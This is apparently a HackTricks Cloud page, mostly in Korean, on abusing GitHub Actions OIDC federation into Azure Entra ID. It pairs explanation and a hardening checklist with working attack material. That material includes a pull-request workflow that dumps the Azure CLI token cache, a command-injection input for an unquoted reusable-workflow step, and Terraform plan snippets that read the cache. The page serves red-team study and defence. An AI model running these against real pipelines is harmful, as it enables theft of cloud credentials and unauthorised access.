Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
GitHub Actions는 OpenID Connect (OIDC)를 사용해 Azure Entra ID (formerly Azure AD)에 페더레이션할 수 있습니다. GitHub workflow는 실행에 대한 세부 정보를 인코딩한 단기 유효 GitHub ID token (JWT)을 요청합니다. Azure는 이 토큰을 App Registration (service principal)에 있는 Federated Identity Credential (FIC)에 대해 검증하고, 이를 Azure access tokens (MSAL cache, bearer tokens for Azure APIs)로 교환합니다.
Azure는 최소한 다음을 검증합니다:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: configured FIC Subject identifier와 일치해야 함
The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
GitHub ID token 빠른 PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
토큰 요청에서 Azure audience를 강제하려면:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure setup (Workload Identity Federation)
-
App Registration (service principal)을 생성하고 최소 권한을 부여합니다(예: 특정 storage account에 대해 Storage Blob Data Contributor).
-
Federated identity credentials를 추가:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: 의도된 workflow/run 컨텍스트에 엄격하게 범위를 제한합니다(아래의 범위 지정 및 위험 참조).
- azure/login을 사용해 GitHub ID 토큰을 교환하고 Azure CLI에 로그인합니다:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
수동 교환 예시 (Graph 범위 표시; ARM 또는 다른 리소스도 마찬가지):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) 구조 및 사용자 지정
Default sub format: repo:
Context 값에는 다음이 포함됩니다:
- environment:
- pull_request (PR은 environment가 아닐 때 트리거됩니다)
- ref:refs/(heads|tags)/
페이로드에 자주 포함되는 유용한 claims:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
추가 claims를 포함하고 충돌 위험을 줄이기 위해 GitHub API를 통해 sub 구성 방식을 사용자 지정하세요:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
참고: 환경 이름의 콜론은 URL‑인코딩(%3A)되어 있어 이전의 delimiter-injection 기법에 의한 sub 파싱 공격을 제거합니다. 그러나 environment:
FIC subject 유형의 범위 및 위험
- 브랜치/태그: sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - 위험: 브랜치/태그가 보호되어 있지 않다면 어떤 contributor라도 push하여 토큰을 획득할 수 있습니다.
- 환경: sub=repo:
/ :environment: - 위험: 보호되지 않은 environment(검토자 없음)는 기여자가 토큰을 발급할 수 있도록 허용합니다.
- Pull request: sub=repo:
/ :pull_request - 최고 위험: 어떤 collaborator도 PR을 열어 FIC를 충족시킬 수 있습니다.
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
관련 파일 위치 및 참고 사항:
- Linux/macOS: ~/.azure/msal_token_cache.json에는 az CLI 세션용 MSAL 토큰이 저장됩니다
- Windows: 사용자 프로필의 msal_token_cache.bin; DPAPI로 보호됨
재사용 가능한 워크플로와 job_workflow_ref 범위 지정
재사용 가능한 워크플로를 호출하면 GitHub ID 토큰에 job_workflow_ref가 추가됩니다. 예:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
FIC 예: 호출자 저장소(caller repo)와 재사용 가능한 워크플로(reusable workflow)를 모두 바인딩하기:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
caller repo에서 claims를 구성하여 repo와 job_workflow_ref가 sub에 모두 포함되도록 하세요:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
경고: FIC에서 job_workflow_ref만 바인딩하면, 공격자는 동일한 org 내에 다른 repo를 생성하고 동일한 reusable workflow를 같은 ref에서 실행하여 FIC를 충족시키고 tokens를 발급(mint)할 수 있습니다. 항상 caller repo도 포함하세요.
job_workflow_ref 보호를 우회하는 코드 실행 벡터
적절하게 범위가 지정된 job_workflow_ref가 있어도, 안전하게 인용되지 않은 상태로 shell에 전달되는 모든 caller‑controlled 데이터는 보호된 workflow 컨텍스트 내부에서 코드 실행으로 이어질 수 있습니다.
Example vulnerable reusable step (unquoted interpolation):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
명령을 실행하고 Azure 토큰 캐시를 유출하기 위한 악의적인 호출자 입력:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan을 PR에서 실행 원시(primitive) 동작으로 취급
terraform plan을 코드 실행으로 취급하세요.
plan 중에 Terraform은 다음을 수행할 수 있습니다:
- file() 같은 함수로 임의의 파일을 읽을 수 있습니다.
- external data source를 통해 명령을 실행할 수 있습니다.
plan 중에 Azure token cache를 exfiltrate하는 예:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
또는 external을 사용해 임의의 명령을 실행하세요:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
Hardening checklist
- 민감한 FICs에는 sub=...:pull_request를 절대 사용하지 마세요
- FICs가 참조하는 모든 branch/tag/environment를 보호하세요 (branch protection, environment reviewers)
- 재사용 가능한 workflows에 대해서는 repo와 job_workflow_ref 모두에 범위가 지정된 FICs를 권장합니다
- GitHub OIDC sub를 사용자화하여 고유한 claims(예: repo, job_workflow_ref, repository_owner)을 포함시키세요
- run 단계에 호출자 입력을 인용 없이 보간하는 것을 제거하세요; 안전하게 인코드/인용하세요
- terraform plan을 코드 실행으로 간주하고 PR 컨텍스트에서는 신원을 제한하거나 격리하세요
- App Registrations에 최소 권한을 적용하고 plan과 apply에 대해 신원을 분리하세요
- actions와 재사용 가능한 workflows를 commit SHAs에 고정(pin)하세요 (branch/tag 핀은 피하세요)
Manual testing tips
- 워크플로우에서 GitHub ID token을 요청하고 마스킹을 피하기 위해 base64로 출력하세요
- JWT를 디코드하여 다음 claims를 확인하세요: iss, aud, sub, job_workflow_ref, repository, ref
- 수동으로 ID token을 login.microsoftonline.com에 교환하여 FIC 매칭 및 scopes를 확인하세요
- azure/login 후에 ~/.azure/msal_token_cache.json을 읽어 토큰 자료가 존재하는지 확인하세요
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud